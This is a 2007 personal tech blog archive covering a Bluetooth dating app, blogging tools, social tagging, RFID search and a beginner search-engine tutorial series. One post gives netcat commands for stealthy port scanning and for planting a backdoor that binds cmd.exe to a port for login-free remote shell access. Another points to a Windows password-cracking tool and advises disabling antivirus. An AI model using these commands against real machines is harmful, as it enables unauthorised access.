I JUST GOTTA KNOW!

Are you a lonely soul? Wanna end it up? Then don't forget to read this!

2007-09-12T07:23:00.000-07:00

Singapore's lonely hearts are romancing the phone, looking for love with a Bluetooth dating service.

Software company BEDD has launched a mobile-phone matchmaking service, also called BEDD. Subscribers simply download the software to their wireless-Bluetooth phones, key in some personal details, such as who they are and the kind of person they'd like to meet. And when a potential partner is in the vicinity the phone alerts them.

The service can seek out other users within a 20-metre range. It ranks them on a scale of one to five in terms of compatibility. After viewing the profile, the user must decide whether to take the next step--usually sending a text message.

If you have a bluetooth enabled phone and don't want to miss your love this time round, just download BEDD software and install it in your phone. It costs S$0.98 ($0.571) for 30 days of unlimited use. Hooray!!! You now can rock.

You can get BEDD software at http://www.bedd.com/howto.html.

Stay Tuned,
- Zaw Win Htike

Are you thinking of setting up your own blog?

2007-09-12T01:31:00.000-07:00

Are you thinking of setting up your own blog? Here is the solution for you that might help you set up your own blog. Firstly, you might need to think where you actually want to host your blog. There have been

Dedicated & Shared Hosting Services
Dreamhost - Offers a lot for a very small amount of money.
CirtexHosting - Hosting plans starting at as little as $2.
BlueHost - Another affordable hosting solution.
HostGator - Cheap shared personal hosting.
Media Temple - Grid based hosting; known to be able to sustain lots of traffic.

Paid Blog Hosting Services
TypePad - If you are a MovableType fan, then TypePad is the premiere service to be using to host your blog.
Blogsite - An enterprise level blogging and publishing platform. Multiple blogs can reside withing one blogsite. Amazing SEO visibility.

Free Blog Hosting Services
WordPress - WordPress allows you to create and host a blog on their own servers and you can display it to the world. You don’t get as much customization and functionality as if you have it hosted on your own server (for example, advertising is not allowed), but it is still a very good way to blog without paying money.
Blogger - A service owned by Google, Blogger is a way to have your blogs hosted for free and you can post as much as you want. It allows Google’s AdSense to be used.
Xanga - iXanga is a lively community of online diaries and journals. Users create their own profiles and there are many opportunities to interact with other users.
LiveJournal - LiveJournal is excellent if you wish to blog on a personal level and join a community and share your blogs among friends.
Vox - A new contender to the arena but Vox is a very nice and powerful blogging tool; not to mention free!; You receive many social experiences with this option as Vox is based heavily on community based blogging.
Tumblr - Tumblr is great if you don’t have time to blog, but still want to share something now and again. It lets you easily post videos, pictures, links, and of course you can write there too.

Pick up one of those blog hosting service and register for it. If you are an amateur, then you might be interested in choosing free blog hosting services. That's it. Now your own blog is up and it's all yours.

If you still can't satisfy with the basic functionalities provided by the hosting services and want to add more functionalities like tracking who visited your blog, where they are from, the no of times they have come and visited your blog, then below services from other parties might help you achieve your dreams. Just choose one of the below service and register your blog with it.

StatCounter - A completely free statistics and analysis tool for tracking your blog’s numbers.
Site Meter - Site Meter comes in two flavors, Site Meter Basic and Site Meter Premium and this service offers advanced analytics of your site statistics.
AWStats - A free and open-source alternative to track your site statistics.
Feedburner - A wide range of tools to spiff up your RSS feed, including HTML preview, geotagging, merging link and photo feeds, password protection, and one of our favorites - a customizable GIF-based headline animator. They can also insert ads into your feed and have both free and premium analytics.
Alexa - Alexa has the statistics for all of the internet and it lets you compare your blog to another.
Google Analytics - a free, full-featured (albeit a bit slow) analytics program from Google (ex. Urchin).
MeasureMap - another free tool for detailed analysis of your blog’s visitor habits

Still can't please with the basic widget and pagelet provided by your hosting provider? Here are some useful widgets that might help your blog looks professional.

MyBlogLog’s Recent Readers - this widget can easily be called a hit amongst blog owners; its popularity even managed to convince Yahoo into buying MyBlogLog. The widget lets you see the avatars of recent visitors to your blog, provided they’re also members of MyBlogLog.
Flickr Flash Photo Stream Badge - display images from your Flickr profile with a handy Flash photo stream.
LineBuzz - inline comments for your blog. Very handy for blogs with frequent lively discussions.
ClockLink - display time in various time zones with these nifty Flash clocks.
Criteo AutoRoll - displays links to blogs similar to your blog.
RockYou Horoscope - This widget shows horoscope (doh!) and does it in a nicely designed colorful box.
Giftspace - your friends never know what to buy you for birthday? Let them know what you really want with this nifty widget.
LibraryThing - show off the latest books you’ve been reading.
del.icio.us Tagometer - display how many times have del.icio.us users saved your page.
del.icio.us Linkrolls - this badge shows your latest bookmarks from del.icio.us.

Just go and register with them, follow their instructions and, yeah, there you go.

Still don't understand and want to ask more questions? The following sites might help you answer all of your unclear questions.

Blogger Forum - This site has a nice forum with plenty of resources for helping you on your beginnings in blogging.
Bloggst - a fairly new community devoted to bloggers, and blogging, with howtos, interviews and other resources.
True Blogging - a forum completely dedicated to bloggers, blogging resources and blog monetization.
Blogger Talk - great resource for bloggers who want to share their experiences.
Bloggeries - a community for bloggers from all over the world to gather and discuss their blogs.
Webloggers - forum on marketing blogs, software for bloggers, blogging news and mobile blogging.
The Blog Herald - a source of blog and blogging related news for bloggers.

That's it.

Stay Tuned,
- Zaw Win Htike

The Upcoming Society!

2007-09-11T22:59:00.000-07:00

The whole world has been moving to collective society where they can store, classify, share their knowledge as well as search and learn knowledge from other people. People will tag list of resources they find useful which can be accessible to the public by users of a specific network or web sites. Other users with similar interests can view the links by topic, category, tags, and even contribute their own tags already tagged by other people to make the information to the fullest.

In the future, everyone will need to have his/her own URI like NRIC for which they now have in hand. With the popularity of blogging, most people now have their own URI. For example, I can say that "http://zawwinhtike.blogspot.com" is my own URI. So, The people should at least familiar with the below or at least spread the words about the below technologies.

(1) Folksonomy
(2) Social Bookmarking (Networking)
(3) Tagging ( including RFID enabled mobile tagging)
(4) Semantic Web (Web 3.0)

People should spread the words about social networking sites like del.icio.us, Simpy, and Furl. These sites contain a collection of a real useful information tagged by many people.

So, Everyone, be prepared and ready for the next upcoming society.

Stay Tuned,
- Zaw Win Htike

Want to Download Videos from YouTube, Google and Yahoo and export to many formats?

2007-09-11T22:37:00.000-07:00

aTube Catcher will allow you to download videos from YouTube, Google, Yahoo and export to many formats (MPG,AVI,MP4,3GP,3G2,WMV,PSP,MOV,FLV) with the quality that you choose, also has templates, so you can encode your videos to standard formats as DVD,VCD,IPOD,PSP, etc.

Not only you can export the videos from YouTube, Google, Yahoo but also you can convert/recode any video or FLV (downloaded from other site or with other software) to the mentioned formats. YouTube Catcher also can download and encode any FLV if you provide it with the direct link.

It is recommended to download the additional package MPlayer to view the output videos. If you download that package you will need DirectX.

You can download aTube Catcher at "http://sourceforge.net/project/showfiles.php?group_id=190074" and download the latest version.

Below demostrate a simple usage of aTube Catcher.

Stay Tuned,

- Zaw Win Htike

Want to Port Scan, Hack and Obtain Remote Access to a Shell?

2007-09-11T08:10:00.000-07:00

Netcat makes and accepts TCP and UDP connections. It writes and reads data over those connections until they are closed. It provides a basic TCP/IP networking subsystem that allows users to interact manually or via script with network applications and services on the application layer. Netcat is one of the most popular hacking tools.

The basic command line for Netcat is nc [options] host ports, where host is the hostname or IP address to target and ports in either a single port, a port range (specified “m-n”), or individual ports separated by spaces. For command-line options, type in nc –help in a DOS box.

Stealthy Port Scanning Command
nc –v –z (IP Address) 20-80
You can also include –r option to randomize the order in which Netcat scans those ports will also help the scan look less like a port scan

Getting More information from open port
nc –v 80 (IP Address) GET / HTTP
It will give you the details information of web server in the target machine.

Obtaining Remote Access to a Shell
By running Netcat from a DOS prompt on Windows, anyone telnetting to a specified port on that box from a remote computer would get a DOS shell without even having to login in. It involves two steps to attack to the target machine.

(1) Create a backdoor in an attacked machine
nc –p 4455 –l –e cmd.exe
(2) Telnet to a backdoor
telnet “attacked machine IP” 4455

You can download Netcat at http://netcat.sourceforge.net/

Note - Must Disable Your Window Firewall.

Stay Tuned,
- Zaw Win Htike

Want to Hack and Crack Passwords from Microsoft Operating Systems?

2007-09-11T07:53:00.000-07:00

Cain & Abel is a password recovery/cracking tool for Microsoft Operating Systems. It allows easy recovery of several kinds of passwords by cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks.

You can check Cain & Abel tool at

Cain & Abel (http://www.oxid.it/projects.html)

Download ca_setup.exe from the above website and install it in your local computer.

In order to use it you need to disable your VirusScan in your local computer.

Stay Tuned,
- Zaw Win Htike

Will RFID Replace Google in Consumer's Search for Local Good and Services?

2007-09-11T07:17:00.000-07:00

Today, if a user types in Gucci bag on Google will have 2,720,000 results while Yahoo will have 13,400,000 results. The problem is consumers are lost in a sea of results and given no real useful information such as availability and where it's located nearest to them.

Businesses, and in particular car dealers, have experienced frustration with the current marketing method and have expressed a desire to reduce or eliminate this Cost Per Click (CPC) marketing expense that only serve to enrich search giants like Google, Yahoo and MSN to name a few. The current search model brings nominal Return On Investment (ROI) to dealers and businesses as a result of the competitive nature of CPC.

With RFID enabled search, it will allow consumers and businesses to rapidly search within proximity of their actual location for items of interest without separately searching multiple search databases.

In the future, the success of business trading cosumers' good and services will be determined by the fact that the availability of RFID enabled search in their business to consumers.

Stay Tuned,

- Zaw Win Htike

Part 4 - Creating a Simple Search Engine

2007-06-17T21:49:00.000-07:00

I would like to mention how words and vocabularly are distributed inside a document. In order to decide the distribution nature of words and vocabularly in a document, we can apply below theories:

(1) Zipf Law
(2) Skewed
(3) Heap's Law

Zipf Law mentions that the frequency of any word is roughly inversely proportional to its rank in the frequency table. So, the most frequent word will occur approximately twice as often as the second most frequent word, which occurs twice as often as the fourth most frequent word, etc. That is, i-th frequent word appears 1/i to the power theta times of most frequent word. The formula for a corpus with n words and v vocabulary is as follow.

For example, in the Brown Corpus "the" is the most frequently-occurring word, and all by itself accounts for nearly 7% of all word occurrences (69971 out of slightly over 1 million). True to Zipf's Law, the second-place word "of" accounts for slightly over 3.5% of words (36411 occurrences), followed by "and" (28852). Only 135 vocabulary items are needed to account for half the Brown Corpus.

Check below image for distribution nature of words in a document. You will see that words like a,an,the,etc are at the highest point where the word "Zaw" which is considered informative is nearly at the zero point.

Example Zipf's law calculation where vocabularly=1000, Theta=2.0 and words=500.

Below is a song for you

Stayed Tuned,
- Zaw Win Htike

Part 1 - Quick Introduction to Biometric Technologies

2007-06-17T06:19:00.000-07:00

I would like to share a bit about biometric technologies to those who want to get a headstart in this field. Biometric is the technique of studying physical characteristics of a person such as finger prints, hand geometry, eye structure or voice pattern. We can track back the use of biometric since the rise of Egypt. Egyptians have used the length of a person's forearm to determine their identification for wage payment.

But nowaday, Biometric technologies has made tremendous improvements in

(1) Fingerprint
(2) Hand Geometry
(3) Face Scan
(4) Retina Scan
(5) Iris Scan
(6) Voice Scan
(7) Signature

Widespread adoption of it is only five years away as Biometric will end privacy we know it. For example, no need for IT administrative support (no reset of password/pin), password/pins easily stolen, lost of cards or tokens, etc. But it is not without problem. False acceptance, false rejection, social acceptance, user training, etc are its major issues.

For further study and development of Biometric System, please visit to

http://biometrics.cse.msu.edu/
http://www.bioapi.org/
http://www.digitalpersona.com/
http://www.biometrics.org/

Stay Tuned,
- Zaw Win Htike

Part 3 - Creating a Simple Search Engine

2007-06-07T01:17:00.000-07:00

In part 2, I have discussed about the pre-processing tasks needed to perform on documents so that lexicon size can be reduced. Now, I want to discuss the informativeness of a document.

In reading an article in newspaper, magazine or journal, you may not sure how much level of informativeness the article you read carries. Depending on your judgement about the content of an article, you may want to skip to another article.

Same concept applies in creating a search engine. A search engine needs to decide the informativeness of a document depending on the contents contained in it so that a search engine can provide you with the most relevant and useful documents in ranking order. Then, how does a search engine determine a document carries much information compare to another document? It uses Information Theory (Entropy). Entropy is the amount of information related to symbol distribution in documents. Its formula is as follow:

Symbols may mean a character or a word in a document. Suppose that your document contains 001001011011 where it has six zeros and six 1s and we can derive its entropy value as:

E=− 6/12*log2 * 6/12− 6/12*log2 *6/12=1

(Where 12 is total no of characters in our document and the two 6: one for total no of zero and another for total no of 1.)

Getting 1 in entropy means that your document contain maximun informativeness and the symbols are randomly distributed in your document.

Or if your document contains 111111111111 where there is no variation except 1 and we can get its entropy value as:

E=− 0/12*log2*0/12−12/12*log2*12/12=0

If we have no different characters/words in our document, then we need to include zero case in our formula(eg. 0/12*log2*0/12). Resulting zero means that your document does not contain much information.

Note: if you don't understand mathematical symbols, you can check them at http://en.wikipedia.org/wiki/Table_of_mathematical_symbols.

Below is a present song from me for you.

Stay Tuned,
- Zaw Win Htike

Part 2 - Creating a Simple Search Engine

2007-05-25T09:45:00.000-07:00

In part 2, I would like to address pre-processing tasks that we need to perform on the documents before the users come and do a search using our search engine.

Do you think all words have equal level of importance and weightage? Of course not. For example, the word "you" carries way less information than that of "nepotism". And important words will serve as index terms. Then you may ask why not index everything (full-text). The reasons are:

(1)Increase the level of noise(stopwords, eg - a, an, the, etc)
(2)Reduce the overall importance of a document
(3)Reduce indexing and retrieval performance

It is now clear that some kind of preprocessing task is needed on the documents to alleviate the above issues. Below represents a list of steps required to preprocess on the documents.

(1) Lexical Analysis

It means converting stream of characters into stream of words. In another term, it is identifying words. Four types of scenarios are needed to consider in doing lexical analysis: whether to consider numbers, hyphen, punctuation, case-sensitivity in indexing. For example, if you index all numbers up to 10 digits, then it may add 1 billion terms to your lexicon. So these four scenarios are really important in determing the size of your lexicon. By the way, Google knows every number. Have you ever tried typing your phone no in Google?

(2) Stopword Removal

Examples of stopwords are a, an, the, about, of, to, be, not etc. Considering stopwords removal, it will reduce your lexicon size by 40% or more. But doing so may not be able to find specialized words like "to be or not not be".

(3) Stemming

It is a kind of morphology. By doing so, it will reduce the no of words and improve performance. For example, whenever the indexer finds "hope, hoped, hop", it will reduce all to "hop" and store it in the lexicon - meaning there will be only one word "hop" in the lexicon. The most frequently used stemmer is "Porter Stemmer". It uses a 5-phase pattern matching rules to determine which affixes to strip in which order and when to apply repair strategies.

(4) Selection of Index Terms

A sentence contains nouns, pronouns, articles, verbs, adjectives, adverbs, connectives. We need to decide which one to index among them. Noun carries most semantics but sometimes you may want to cluster co-occuring nouns into phrases(n-grams, typically n=3, eg. Information Retrieval) and concepts (noun groups of distance n, typically n=3-5, eg. gates microsoft richest)

(5) Grouping Similar Terms Together

We can use Thesaurus and WordNet to group similar terms together. Eg. stupid, moronic, idiotic, retarded, spastic. Thesaurus is precompiled list of important words w for a given domain. WordNet is English Semantics Lexicon. It is a BSD lincensed open source software. WordNet groups nouns, verbs, adverbs, adjectives into synsets and create semantic relationship between synsets. Eg.

(3) Antonyms (NOT): stupid is not smart
(2) Hyponyms (ISA): chihuahua is a kind of dog
(1) Meronyms (HASA): dog has a mouth

The following diagram represents logical view of a document through out the various phases of text processing.

Below is a present song from me for you.

Stayed Tuned,

- Zaw Win Htike

Part 1 - Creating a Simple Search Engine

2007-05-22T00:15:00.000-07:00

Before delving down into the technical parts, let me enlighten all of the happenings around the search engines and induce you what you can do and what you can benefit by knowing about them.

Starting from 1945 to Google 2007, the realm of search engines have bypassed 1st generation and 2nd generation till its current wobbly state in 3rd generation. In 3rd generation, researchers are trying to widen and make search engines more intelligent by including such features as semantic analysis, focusing on user needs rather than on query and context determination.

You may probably notice some of those features by chance when you do a search - for example -from your GMail and you will notice "New!View and manage your web history" at the top right corner of the resulting web page. It means that this feature is trying to focus on your needs and try to provide you with more relevant results overtime. (User Needs)

Or if you query Google with the word "Iraq", Google will aware that you are looking for news related to Iraq and make best recommendation to you with today top-stories in Iraq at the uppermost result pane. (Context Determination)

Or if you question Google with the phrase starting with "What is..", Google recognizes that you are looking for a definition about something. (Semantic Analysis)

By learning about information retrieval system, you can design next generation search engine, be next Google and be a billionaire. Who knows...?

In 1994 Yahoo rocked the cybersphere,
In 2004 Google reigned the web,
But in 200x, 200x [Put You or Your Company Name here] will take the crown from Google.

Researchers have anticipated 3rd generation search engine to be available by year 2020.

I hope you all enjoy my article.

By the way, I have it in mind to jot down this article into quite a long series. With a bit of luck, you all won't worn-out about my upcoming series.

Below is a present song from me for you.

Stay Tuned,

- Zaw Win Htike

Greeting to Everyone

2007-05-21T00:21:00.000-07:00

Today is my foray into blogging discourse. My intention is to partake in the world of collective society and recount whatever I have learnt and get to know in my work place and during my schooling years as a part-timer in Information Systems Degree from NTU. I will try to cover below topics in my blog ocassionally in my free time from technical point of view namely,

(1) Information Retrieval ( How to create a simple search engine from scratch.)
(2) Data Mining/Text Mining
(3) Information Architecture (taxonomy/ontology, etc)
(4) Design Patterns
(5) Software Project Management
(6) Database (XML database and relational database)
(7) Portals
(8) Mobile application development
(9) .NET platform

Thanks for visiting my blog. Below is a thankful present song for you in return.

Stay Tuned

- Zaw Win Htike